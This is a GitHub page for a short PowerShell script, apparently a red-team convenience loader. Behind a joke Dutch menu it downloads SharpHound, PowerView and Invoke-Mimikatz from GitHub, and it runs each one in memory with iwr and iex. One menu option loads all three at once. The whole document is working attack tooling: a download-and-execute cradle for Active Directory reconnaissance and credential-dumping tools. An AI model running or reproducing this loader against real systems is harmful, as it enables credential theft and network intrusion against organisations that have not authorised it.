-
Notifications
You must be signed in to change notification settings - Fork 5
/
KnotsDuKip.ps1
62 lines (59 loc) · 1.54 KB
/
KnotsDuKip.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
function GratisBier ($Schultenbrau) {
<#
.NOTES
Author: Justin Perdok (@JustinPerdok), https://justin-p.me.
License: MIT
.LINK
https://github.com/justin-p/PowerShell/blob/master/KnotsDuKip.ps1
#>
return (iwr $Schultenbrau).content
}
function Maak-MeNu {
<#
.NOTES
Author: Justin Perdok (@JustinPerdok), https://justin-p.me.
License: MIT
.LINK
https://github.com/justin-p/PowerShell/blob/master/KnotsDuKip.ps1
#>
param (
[string]$Title = 'My Menu'
)
Clear-Host
write-host "Kies uw kipknots"
Write-Host "1 - Bloedhond"
Write-Host "2 - Krachkijken"
Write-Host "3 - MiniPoez"
Write-Host "99 - S P E C E R I J E N"
Write-Host "Q - op zoute."
}
$urls = @('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1',
'https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1',
'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'
)
do
{
Maak-MeNu
$selection = Read-Host "Knots du kip: "
switch ($selection)
{
'1' {
iex(GratisBier $urls[0] )
}
'2' {
iex(GratisBier $urls[1] )
}
'3' {
iex(GratisBier $urls[2] )
}
'99' {
foreach ($url in $urls) {
iex(GratisBier $url)
}
}
'q' {
return
}
}
}
until ($selection -eq 'q')